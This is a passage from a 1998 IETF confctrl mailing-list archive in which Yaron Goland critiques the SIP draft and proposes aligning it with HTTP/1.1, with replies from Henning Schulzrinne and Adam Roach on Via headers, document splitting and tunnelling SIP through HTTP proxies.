3.3.1.1 Compliance Requirement

It is legal in HTTP/1.1 to use arbitrary URLs in the request-URI of a
message. For example, the following is a legal request:

GET ftp://server/file HTTP/1.1

An FTP enabled proxy will make an FTP DIR request and then return the result
formatted in HTML.

So if SIP wishes to use SIP URLs in the request-URI that is just fine.
However they will always have to use the full SIP URL form in order to
prevent confusion with HTTP URLs.

3.3.1.2 Mapping to HTTP

However I would suggest that SIP consider providing a mechanism to translate
a SIP URL into an HTTP URL and then using the HTTP URL in the request-URI.

The motivation for this suggestion is the desire to make SIP able to take
advantage of the currently deployed HTTP proxies, both 1.0 and 1.1.

The reason that using a SIP URL in the request-URI is a problem is that an
HTTP proxy wouldn't know where to send the request. For example:

INVITE sip://joe@nowhere.com HTTP/1.1
From: sip://mike@somewhere.org
To: sip://joe@nowhere.com

If a proxy receives this, knowing nothing about SIP, it can't do anything
but refuse the request. It can't even tunnel the request.

But imagine if instead the same proxy were to receive:

INVITE / HTTP/1.1
Host: nowhere.com
From: sip://mike@somewhere.org
To: sip://joe@nowhere.com

The proxy won't know what an INVITE method is or what the From or To headers
are. However proxies do know what to do when they don't know what to do,
they turn themselves into tunnels. The proxy will read the Host header and
realize that the message is meant to be delivered to "/" at nowhere.com.
Thus currently deployed HTTP proxies can properly tunnel through the
request.

3.3.1.3 Expanding the SIP URLs

It would be even cooler if one could take advantage of the HTTP namespace
from within a SIP URL. This would be accomplished by expanding the
definition of the SIP URL such that it allows URLs of the form
sip://mike@somewhere.org/mikesphone.

This would be translated into the HTTP URL http://somewhere.org/mikesphone.
Note that currently specified SIP URLs will work just fine. For example,
sip://bobby@ooga.boo would translate into http://ooga.boo/.

So adopting this translation convention will work just fine with SIP URLs as
they are defined today and allows SIP URLs to access the full HTTP
namespace. A no lose proposition.

3.3.1.4 Tunneling to a SIP Proxy

Imagine mike@somewhere.org, wants to send an INVITE to
sip://joe@nowhere.com. Furthermore, mike knows there is a SIP proxy at
http://sipproxy.com/proxy. However there is a problem, the client has a
normal HTTP firewall between him and sipproxy.com.

At this point mike could just send the following message:

INVITE http://nowhere.com/ HTTP/1.1
Host: nowhere.com
From: sip://mike@somewhere.org
To: sip://joe@nowhere.com

The HTTP/1.1 proxy will properly forward it on to nowhere.com. However there
might not even be a nowhere.com! After all, the address hasn't had a chance
to go through the SIP resolution process to find out what the REAL address
is for joe@nowhere.com.

So what can we do? Mike needs to talk to his SIP proxy but he can't get
through his firewall. Or can he?

The really cool thing about adopting HTTP URLs for the request-URI is that
Mike could send the following message:

INVITE http://sipproxy.com/proxy HTTP/1.1
From: sip://mike@nowhere.com
To: sip://joe@somewhere.com

Bam! The request goes through his HTTP/1.1 proxy to his SIP proxy at
http://sipproxy.com/proxy and gets properly handled. Joe gets his invite and
everyone wins.

Now, you can't tell me that isn't cool. =)

3.3.2 4.3.1 SIP Version

Obviously the SIP/2.0 version information would have to be changed to
HTTP/1.1.

3.3.3 4.4 Option Tags, 6.26 Proxy-Require, 6.27 Require

If you switch to HTTP/1.1 you won't have to solve this problem on your own.
Rather you can leverage the work of Henrik Frystyk in his soon to be
standardized Mandatory draft available at
http://www.ietf.org/internet-drafts/draft-frystyk-http-mandatory-00.txt

Note that the Mandatory header provides both end to end and hop by hop
functionality so it can handle both the proxy-require and the require
headers.

3.3.4 6.20 Location

The Location header is specified by HTTP although you have changed it in a
way that is not compatible. Given the experience with TCN (Transparent
Content Negotiation) I think you will find specifying q values a total waste
of time. I don't know what it is about q values that everyone feels a need
to invent them. Repeated deployments have convinced me that they add nothing
but complexity.

As such you can easily move back to the normal HTTP Location header and
simply specify that entries should be listed in order of preference. If our
experience with q values doesn't apply (and I'm willing to bet bucks it
does) then just change the name from Location to Sip-Location or something
and you're compliant.

3.3.5 6.38 Via

HTTP's Via header and SIP's differ on a number of points.

3.3.5.1 Removing the Via Header on Response Paths

HTTP does not remove the VIA header. The reason for this, as I explain in
some detail in a similarly titled section in the general comments section,
is that the information is needed by clients for debugging and path
capability determination. The later feature being critical in a
multi-version protocol environment.

As such, in order to be HTTP compliant, SIP needs to strike its rule
regarding removing Via headers.

However, as I argue in the previously cited section, this action, far from
being a compromise, is in SIP's interest.

3.3.5.2 Order of Via Headers

In SIP the Via headers are like a stack, where each new proxy pushes its Via
header on the top.

In HTTP the Via headers are a list where each new proxy appends its Via
header.

The result is that SIP and HTTP use the reverse orderings of the other.

To be HTTP compliant SIP would need to reverse its ordering.

While I realize that SIP choose its ordering for performance reasons I would
suggest that any performance gains are most likely illusory. The reason
being that at every hop the proxy or server must check all the headers in
the message, not just Via. Thus the entire message must be parsed. This
makes the ordering selection, whether HTTP's or SIP's, irrelevant as the
cost of processing the entire message must be born regardless.

3.3.5.3 Received Attribute

As far as I can tell the purpose of the received attribute is not to prevent
loops but to help UDP SIP servers remain stateless. Specifically, a UDP SIP
server needs to know where to send the response. In the case where the
downstream proxy, which sent the request to the UDP SIP server, uses a
hidden server name or an incorrect IP address, the UDP SIP server needs to
remember the correct IP address to send the response to. As such the
received attribute is appended to the Via header as a way of "jotting down"
the return address. Hence if the UDP SIP server has to make requests of its
own in order to fulfill the request it doesn't need to remember the original
IP address it has to send the response to. Instead, when a response finally
arrives, the UDP SIP server can just check the received attribute in the Via
header and know where to forward the response to.

Unfortunately there is no reliable way to record the receive information in
the HTTP Via header. We could, in theory, put it into the comment field but
this won't work because any proxy along the processing path can remove
comments.

As such, in order to be HTTP compliant, SIP must make a compromise. The
compromise is that it needs to add a new header I call "memory". The format
of the header would be:

Memory = "memory" ":" 1#(sent-by ";" host [":" port])

This header records the sent-by name used in the via header and associates
it with an IP address and port.

I realize that this solution is not nearly as efficient, in terms of time or
space, as putting the information in the Via header. However that is simply
not possible in HTTP. I believe that this is a reasonable trade-off in order
to gain the benefits of being HTTP compliant.

3.3.5.4 TTL & Hidden

I don't understand why TTL is included in the Via header. Can someone
explain this to me please?

The same goes for hidden. I don't fully understand its purpose so it is
difficult to come up with a way to move it to HTTP.

3.3.6 6.39 Warning & 7.6.4 606 Not Acceptable

The BNF for your warning header along with its functional description
appears to be compliant with HTTP. However the way you actually use it in
the spec is not. The warning code format is not compatible since HTTP (and
your own BNF) use two digit codes while SIP uses a xxx.x format.

In order to be HTTP compliant you will either have to translate the xxx.x
codes to two digit warning numbers or not use the warning header and instead
create new 6xx errors for what you now call warnings. I would suggest
creating new errors.

Alternatively you can define a new header for use with 606 which provides
the information you tried to provide through warnings.

3.3.7 7.6 Global Failures 6xx

HTTP was designed for point to point communications but you legitimately
have expanded the boundaries. I know that the Microsoft proxy, if it
received a 6xx response number, would just pass it through without caching.
Assuming no serious problems with proxies I think you have given legitimate
reason to add a new response code series, 6xx.

3.3.8 SIP Header

I would recommend you create a new header called the "SIP" header that is to
be returned in OPTIONS responses by SIP compliant servers. This way I can
walk up to an HTTP/1.1 server and ask it "Do you support SIP?". This is NOT
a requirement to be HTTP/1.1 compliant but is probably a good idea.

3.4 Unnecessary Sections

If SIP moves over to HTTP/1.1 then the following sections can be removed:
1.4, 1.5, 5, 6.1 - 6.10, 6.12, 6.13, 6.15, 6.17, 6.21, 6.24, 6.25, 6.31,
6.32, 6.37, 6.40, 7.2, 7.3.1 - 7.3.3, 7.4.1 - 7.4.9, 7.5, 8, C


From confctrl-owner  Tue Apr 28 01:15:44 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA27821
	for confctrl-outgoing; Tue, 28 Apr 1998 01:15:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA27816
	for <confctrl@zephyr.isi.edu>; Tue, 28 Apr 1998 01:15:42 -0700 (PDT)
Received: from mail2-b.microsoft.com (mail2-b.microsoft.com [131.107.3.124])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA19975
	for <confctrl@isi.edu>; Tue, 28 Apr 1998 01:15:41 -0700 (PDT)
Received: by mail2-b.microsoft.com with Internet Mail Service (5.5.2166.0)
	id <JP463FNW>; Tue, 28 Apr 1998 01:15:11 -0700
Message-ID: <3FF8121C9B6DD111812100805F31FC0D02971262@red-msg-59.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: General Comments on the SIP Protocol
Date: Tue, 28 Apr 1998 01:15:09 -0700
X-Mailer: Internet Mail Service (5.5.2166.0)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

4 General Comments on the SIP Protocol

4.1 1.4.4. SIP Invitation

Given that SIP allows for different kinds of session descriptions to be used
it seems inappropriate to describe details of the session description's
behaviors. For example, the third paragraph talks about session
description's with times set to the future. It would seem to me to be the
job of the particular session description to explain what it means to
receive a description set to the future. SIP should be silent on the
subject.

For example, I can imagine a session protocol whose policy is that if you
receive an invitation in the future you should try to connection immediately
and ask for the current clock on the inviting server to determine if there
are any clock skew problems. The point isn't that the previous is a real
world scenario only that in general SIP should remain silent on the behavior
of session descriptions. SIP's job is ONLY to move session descriptions
around. It should leave the functionality of those descriptions to others.

4.2 4.2.2 ACK

An ACK message is not necessary when using TCP since TCP itself will let the
callee know that the caller has received the appropriate response. Obviously
if a proxy is using TCP on one end and UDP out the other as soon as the
proxy receives TCP confirmation of receipt it needs to send an ACK on the
UDP connection.

4.3 4.2.4 BYE

My understanding of this section is that once someone sends an INVITE, thus
causing a ringing, the ringing doesn't stop until a BYE or ACK is received?
That sounds like an attack not a feature. Also, I would put in a note that
even when using TCP/IP it is probably better to send a BYE method rather
than just closing the connection. Just closing connections causes all sorts
of havoc for servers. If the client sends a BYE with a connection: close
header then the server knows that the connection is going to be closed and
can clean things up nicely. In HTTP we have found all sorts of problems with
TCP/IP stacks when folks just close a connection without letting the server
know what is going on. Please don't repeat our mistakes.

4.4 4.2.6 Register

What is the point of the broadcasted public key? Since you have nary a clue
whose public key has been broadcasted this doesn't seem to be a good idea
from a security point of view.

4.5 6.11 Call-ID

Why is the requirement for global uniqueness only held for the duration of
the request? Given that these requests can be forked who can even know what
the duration of a request is? Even if the caller sends out a BYE you still
can't be sure how far the request has propagated so if another request with
the same call-id is issued the two could collide. I think you have to
require that the call-id be unique for all requests for all time. There
already exists a draft to give you the functionality you need at
http://www.ietf.org/internet-drafts/draft-leach-uuids-guids-01.txt. It has
just finished its IESG last call and will be voted on by the IESG to be
moved to standards status any day now.

4.6 6.14 CSeq

Sequence numbers are a general facility that allows one to match requests
and responses. However the current specification for sequence numbers
suffers from the "restart" problem. If a server crashes and restarts it
won't remember the last sequence number it sent out. A simple way to solve
this problem is to require that servers generate a GUID and then append
numbers to it in order to represent a sequence. If the server ever crashes a
new GUID will be generated and thus collisions avoided.

4.7 6.16 Encryption

You could encrypt the method. You could invent a new method called ENCRYPT.
In the encrypted body of the method is a header called "method" whose value
equals the method that was supposed to be used. Also, if you switch to
HTTP/1.1, thus using an HTTP request-URI, you can use the "*" URI to mean
server. In that case you could add another header "request-URI" which
encodes the original request-URI. The same logic applies to the From header.
Even the To header could be encrypted if you are using the public key of the
server. Regardless, A proxy will just forward the message to the indicated
server and return the response.

BTW, while I can guess how one would encrypt a response there is no text in
SIP on how this is actually done.

4.8 6.38 Via

4.8.1 Sent-By

The host production in sent-by isn't IPv6 compliant.

4.8.2 Removing the Via Header on Response Paths

HTTP does not remove Via headers as a message goes down the response path
because the information in the Via header is critically important for
determining path capabilities. For example, if the client is an HTTP/1.1
client but the message eventually goes through an HTTP/1.0 proxy this limits
certain things the client can successfully do. Getting back the Via header
stream on the response gives the client this data and allows it to adjust.

Removing the Via headers based on privacy concerns doesn't hold up because
of the concealed-host facility.

Additionally the presence of the Via headers on the response is also useful
for debugging.

For these reasons the Via headers should not be removed on the return path.

4.8.3 ttl

Why is it necessary to give this information in the via header?

4.8.4 hidden-host

The Via header allows for the use of a token in lieu of a host name for
security reasons. Reasonable enough, however the token namespace does not
have any guarantees of non-collision. I realize that it may seem unlikely
that two unrelated system administrators would pick the same pseudonym for
their proxies until you remember how many servers in the world have the same
name. How many DNS names have you seen whose high level domain is Calvin?
Hobbs? Hacker? Etc. The reason these don't collide, obviously enough, is
that the rest of the name is a DNS address that guarantees uniqueness. No
such protection exists here so two proxies both named Dilbert will think a
loop exists because they will see their own names.

As such you need to require that pseudonyms be something that is guaranteed
to be unique, such as a GUID (they are useful, aren't they? =). You can also
put in a note that for maximum security a proxy can change its name BUT it
must remember its old name for some reasonable period of time. A proxy can
also have multiple names simultaneously, so long as it remembers all of
them.

4.9 9 Compact Form

Rather than using compact header names why not just compress the entire
message, including headers? Compression is incredibly fast and this will
make your UDP messages even smaller than the compact header names can make
them, a major benefit for UDP. You can use a similar format to your message
encryption mechanism to provide for compression.

4.10 11.2 - Connection Management for TCP

In general we have found that giving meaning to the creation or destruction
of connections is not a good idea. It makes it difficult to create generic
transmission systems and for proxies to combine multiple requests from
multiple users all going to the same place in the same connection. This
ability will be especially critical for SIP where each individual's message
is likely to be very small and having to build and tear down TCP/IP
connections would suck. As such it is advisable to use a timer rather a
connection loss and of course encourage clients to send BYE.

4.11 Connection Header

SIP clients are already compliant with HTTP/1.1 persistent behavior. However
you may want to consider adding support for the connection: close header.
This lets clients tells servers or servers tell clients that they intend to
close the connection. This helps harvest connections more efficiently but is
NOT an HTTP/1.1 requirement.

4.12 OPTIONS

I would strongly recommend you make OPTIONS support mandatory. Discovery is
a fundamental feature. We have regretted not guaranteeing support of
OPTIONS.


From confctrl-owner  Tue Apr 28 01:16:10 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA27833
	for confctrl-outgoing; Tue, 28 Apr 1998 01:16:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA27828
	for <confctrl@zephyr.isi.edu>; Tue, 28 Apr 1998 01:16:09 -0700 (PDT)
Received: from mail2-b.microsoft.com (mail2-b.microsoft.com [131.107.3.124])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA19980
	for <confctrl@isi.edu>; Tue, 28 Apr 1998 01:16:08 -0700 (PDT)
Received: by mail2-b.microsoft.com with Internet Mail Service (5.5.2166.0)
	id <JP463F3M>; Tue, 28 Apr 1998 01:15:38 -0700
Message-ID: <3FF8121C9B6DD111812100805F31FC0D02971263@red-msg-59.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: NITs I found while reading the SIP spec
Date: Tue, 28 Apr 1998 01:15:28 -0700
X-Mailer: Internet Mail Service (5.5.2166.0)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

5 NITs

5.1 1.3 Definitions

In general I find it more useful to be given definitions in order of
dependence rather than in alphabetic order but that is just personal
preference.

Call - Has an open "(" with no close ")"

Final Response - The sentence is syntactically confusing. I would suggest
something along the lines of:
Final Response: A response that terminates a SIP transaction, as opposed to
a provisional response that leaves the transaction outstanding.

Invitation - The spacing for Invitation contains an "a" that should be an
"an", it currently says "an INVITE request followed by a ACK request." It
should read "an INVITED request followed by an ACK request."

Location Service - "beyond the scope of THIS document" not "the".

5.2 1.4.2. Locating a SIP Server

After explaining the various steps to resolve an address the spec states "If
a server is found using one of the methods below, the other methods are not
tried. " Since are specified previous to the sentence it would be more
appropriate to state "If a server is found using one of the previous
methods..."

5.3 1.4.5. Location a User

First Paragraph, last sentence, reads: "The location services yield a list
of a zero or more possible locations, possibly even sorted in order of
likelihood of success." I would rephrase this as "The location services
yield a list of zero or more locations, possibly sorted in order of
likelihood of success."

Third Paragraph, second sentence, remove the word "simply", it is an
unnecessary modifier.

In general I think it is unnecessary to discuss location servers. It is
always best to leave unspecified things, unspecified. You need only describe
behavior within the strict purview of SIP. So how a proxy or redirect server
actually gets an address is its own business. I think matters are just
confused by going into long discussions about location servers and alternate
protocols. It is much less confusing to just say "A proxy/redirect server
will use its own mechanisms to determine one or more addresses for the
specified callee." Less is more, especially in an 106 page draft.

Fourth Paragraph, third sentence, "each host most remove its Via," I suspect
you mean "each host MUST remove its Via".

Second to Last Paragraph, last sentence, you specify that user agents SHOULD
NOT notify the user when duplicate requests are received. I personally
dislike UI requirements in protocol specs. It is completely appropriate to
state that receiving two requests, because of forking, is NOT an error and
as such there is no need to notify the user but please do not put SHOULD
level requirements on UI.

5.4 2 SIP Uniform Resource Locators

RFC 1630 is out of date. The more correct guide is
http://www.ietf.org/internet-drafts/draft-fielding-uri-syntax-02.txt.

Why does the SIP URL begin with "SIP://" when no hierarchical namespace
(authority) is being defined? The correct format would be "SIP:".

Why do short SIP URLs have a production for port but full SIP URLs do not?

There is a draft out on how to create telephone URLs
(http://www.ietf.org/internet-drafts/draft-antti-telephony-url-04.txt). I
would suggest carefully reviewing it and thinking of revising your own phone
production based on the extensive information provided in the draft.

Your hostnumber production does not support IPv6

No production is given for password

I honestly don't grok the headers production. What is the huge quote
enclosed space for?

I searched [19], I can't find any reference to urlc.

While it is true that the short form SIP URL can be used unambiguously it is
a general principal of protocol design to never provide two ways of doing
the exact same thing. This just leaves more room for screw ups. I would
strongly urge the group to reconsider the wisdom of saving 4 bytes (assuming
the groups uses SIP:) at the cost of increasing complexity.

5.5 6.18 From

The second sentence of the first paragraph states that "The field MUST be a
SIP URL..." but then the first sentence of the second paragraph states "The
>From field is a URI..." which the BNF backs up. The two sentences contradict
each other.

5.6 6.38.3 Syntax

What rx parameter? I suspect you mean "received" parameter. Either that or
"rx" is the short form of received, in which case it needs to be added to
the BNF.

5.7 6.39 Warning

The BNF for the warn-code is 2DIGIT but you use a four digit with a "."
warning format because of your desire to use 606 warnings. I would suggest
that this is an inappropriate use of the warning header. Instead your should
introduce new 6xx codes to cover what you now call warnings. Regardless of
the outcome, either the examples must change or the BNF production for
warn-code in 6.39 must be changed.

5.8 10 SIP Transport

Um.. what is the story with section 10 & 11? It looks like some kind of
editing error.

5.9 14.1.2 The Authorization Request Header

Shouldn't signed-by just be a URI? Why does it have to be a SIP-URL?

From confctrl-owner  Tue Apr 28 05:51:18 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA01280
	for confctrl-outgoing; Tue, 28 Apr 1998 05:51:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA01274
	for <confctrl@zephyr.isi.edu>; Tue, 28 Apr 1998 05:51:16 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA29069
	for <confctrl@isi.edu>; Tue, 28 Apr 1998 05:51:14 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id IAA27424 for <confctrl@isi.edu>; Tue, 28 Apr 1998 08:51:13 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id IAA06001 for <confctrl@isi.edu>; Tue, 28 Apr 1998 08:51:12 -0400 (EDT)
Message-ID: <3545D0C0.E0C90126@cs.columbia.edu>
Date: Tue, 28 Apr 1998 08:51:12 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP/Goland: Via
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

[Rather than having mega-messages with three levels of >>>, I'll try to
respond to a few items as individual messages.]

Note that the Via header in SIP has to have a slightly different
functionality than in HTTP: On the request path, it records the proxies
the request passes through (like HTTP). This information is then used by
proxies to route the response along the same path, without having to
keep state in the network. Thus, the response has to remove headers to
know where next to send the packet. If it kept the whole list, it would
have to somehow figure out where it is and then pick the next one. This
is not that difficult, but still would not make it HTTP compliant.

[The original motivation for removing Vias of hiding paths seems to be
inoperative now with the introduction of the Hide mechanism.]

In HTTP/1.1, a Via header is simply used to record request or response
path. The headers are not used to forward messages, as far as I can
tell.

From confctrl-owner  Tue Apr 28 06:05:39 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA01679
	for confctrl-outgoing; Tue, 28 Apr 1998 06:05:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA01674
	for <confctrl@zephyr.isi.edu>; Tue, 28 Apr 1998 06:05:38 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA29561
	for <confctrl@isi.edu>; Tue, 28 Apr 1998 06:05:37 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id JAA28077 for <confctrl@isi.edu>; Tue, 28 Apr 1998 09:05:36 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id JAA06075 for <confctrl@isi.edu>; Tue, 28 Apr 1998 09:05:35 -0400 (EDT)
Message-ID: <3545D41F.690AD363@cs.columbia.edu>
Date: Tue, 28 Apr 1998 09:05:35 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP/Goland: Splitting the document
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Clearly, the SIP spec could benefit from being split, as it is
approaching a somewhat unwieldy size at around 90 pages.

Splitting out the security section seems fine, as it would make adding
others (e.g., S/MIME) easier. SNMP, for example, has done similar
things, so as long as there is a normative reference, one would hope
that the IESG would accept that.

Splitting out the UDP part seems harder, but it's more or less a section
(10/11).

Yes, some of us realize that SIP solves a large part of the notification
problem and just have been too busy to keep up with the relevant WG
mailing list (or write a draft). I'm not fundamentally opposed to
changing Call-ID, but the loss of backward compatibility with current
SIP seems worse than a slightly awkward name for a notification.

[Some of the items, e.g., in terms of connection management, have, I
believe, been addressed in the current version.]

From confctrl-owner  Tue Apr 28 08:33:53 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA05477
	for confctrl-outgoing; Tue, 28 Apr 1998 08:33:53 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA05466
	for <confctrl@zephyr.isi.edu>; Tue, 28 Apr 1998 08:33:51 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA05199
	for <confctrl@ISI.EDU>; Tue, 28 Apr 1998 08:33:49 -0700 (PDT)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwa.ericsson.com (8.8.8/8.8.8) with ESMTP id KAA14907;
	Tue, 28 Apr 1998 10:33:18 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id KAA17997;
	Tue, 28 Apr 1998 10:32:00 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (exuadam@b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA11078; Tue, 28 Apr 1998 10:31:58 -0500 (CDT)
Received: (exuadam@localhost) by b04a24.exu.ericsson.se (8.7.6/8.6.12) id KAA03501; Tue, 28 Apr 1998 10:31:57 -0500 (CDT)
Message-Id: <199804281531.KAA03501@b04a24.exu.ericsson.se>
Subject: Re: Making SIP HTTP/1.1 Compliant
To: yarong@microsoft.com (Yaron Goland)
Date: Tue, 28 Apr 1998 10:31:56 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <3FF8121C9B6DD111812100805F31FC0D02971261@red-msg-59.dns.microsoft.com> from "Yaron Goland" at Apr 28, 98 01:14:47 am
From: adam.roach@ericsson.com (Adam B. Roach)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>The really cool thing about adopting HTTP URLs for the request-URI is that
>Mike could send the following message:
>
>INVITE http://sipproxy.com/proxy HTTP/1.1
>From: sip://mike@nowhere.com
>To: sip://joe@somewhere.com
>
>Bam! The request goes through his HTTP/1.1 proxy to his SIP proxy at
>http://sipproxy.com/proxy and gets properly handled. Joe gets his invite and
>everyone wins.
>
>Now, you can't tell me that isn't cool. =)

This is very interesting, but probably not practically useful (at least,
not in the context you have presented it). If a user is behind a firewall
with an HTTP proxy, but his system admins haven't made provisions for a 
SIP proxy, it is unlikely that the admins have provided *any* support for
V/IP communications. I may be able to invite joe@somewhere.com through
my HTTP proxy, but frustration ensues when we are completely unable to
set up a voice channel (unless you want us to use a persistant connection
through the proxy for streaming audio -- probably a bad idea).

I do, however, agree with you that it seems unnecessary to reinvent the
wheel. If the work required to add SIP proxy functionality to an HTTP
proxy is minimal, we'll have them deployed faster. We also avoid taking
yet another port from the increasingly crowded <1024 range.

Just my 2 cents worth...

--
Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
Ericsson Inc.              | Fax: +1 972 669 0154 | Richardson, TX 75081
adam.roach@ericsson.com    |                  <*> | USA

From confctrl-owner  Tue Apr 28 09:14:31 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA07699
	for confctrl-outgoing; Tue, 28 Apr 1998 09:14:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA07694
	for <confctrl@zephyr.isi.edu>; Tue, 28 Apr 1998 09:14:29 -0700 (PDT)
Received: from mail2-b.microsoft.com (mail2-b.microsoft.com [131.107.3.124])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA08189
	for <confctrl@ISI.EDU>; Tue, 28 Apr 1998 09:14:28 -0700 (PDT)
Received: by mail2-b.microsoft.com with Internet Mail Service (5.5.2166.0)
	id <JP46PAC9>; Tue, 28 Apr 1998 09:13:57 -0700
Message-ID: <3FF8121C9B6DD111812100805F31FC0D02971267@red-msg-59.dns.microsoft.com>
From: Yaron Goland <yarong@microsoft.com>
To: "'adam.roach@ericsson.com'" <adam.roach@ericsson.com>
Cc: confctrl@ISI.EDU
Subject: RE: Making SIP HTTP/1.1 Compliant
Date: Tue, 28 Apr 1998 09:13:53 -0700
X-Mailer: Internet Mail Service (5.5.2166.0)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I think it is plausible that a user who wants to send an invitation with SIP
may be behind a firewall that doesn't support SIP but may support some type
of v/IP.

Imagine your network already supports vocal tech's or Intel's or someone
else's product but doesn't support SIP yet. No problem, you can still send
the invite via SIP (since it is just HTTP, assuming your admin allows users
to send out arbitrary methods) and then specify the vocal tech product as
the communication medium.

There are also other scenarios where your administrator may support both SIP
and v/IP but their SIP proxy sucks. After all, SIP never specified how to
actually build up its networks of proxies and hook everything together. It
is like NNTP, people have to set things up by hand. If your administrator is
lousy he may have done a bad job of it. In that case if you know a better
SIP proxy you may want to be able to skip your administrator's proxy all
together and go to another one. By using an HTTP URL the message will be
delivered to your desired proxy instead of your administrator's proxy.

Choice is a good thing.

		Yaron


-----Original Message-----
From: adam.roach@ericsson.com [mailto:adam.roach@ericsson.com]
Sent: Tuesday, April 28, 1998 8:32 AM
To: Yaron Goland
Cc: confctrl@ISI.EDU
Subject: Re: Making SIP HTTP/1.1 Compliant


>The really cool thing about adopting HTTP URLs for the request-URI is that
>Mike could send the following message:
>
>INVITE http://sipproxy.com/proxy HTTP/1.1
>From: sip://mike@nowhere.com
>To: sip://joe@somewhere.com
>
>Bam! The request goes through his HTTP/1.1 proxy to his SIP proxy at
>http://sipproxy.com/proxy and gets properly handled. Joe gets his invite
and
>everyone wins.
>
>Now, you can't tell me that isn't cool. =)

This is very interesting, but probably not practically useful (at least,
not in the context you have presented it). If a user is behind a firewall
with an HTTP proxy, but his system admins haven't made provisions for a 
SIP proxy, it is unlikely that the admins have provided *any* support for
V/IP communications. I may be able to invite joe@somewhere.com through
my HTTP proxy, but frustration ensues when we are completely unable to
set up a voice channel (unless you want us to use a persistant connection
through the proxy for streaming audio -- probably a bad idea).

I do, however, agree with you that it seems unnecessary to reinvent the
wheel. If the work required to add SIP proxy functionality to an HTTP
proxy is minimal, we'll have them deployed faster. We also avoid taking
yet another port from the increasingly crowded <1024 range.

Just my 2 cents worth...

--
Adam Roach                 |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
Ericsson Inc.              | Fax: +1 972 669 0154 | Richardson, TX 75081
adam.roach@ericsson.com    |                  <*> | USA

From confctrl-owner  Tue Apr 28 21:32:20 1998
Return-Path: <owner-confctrl>
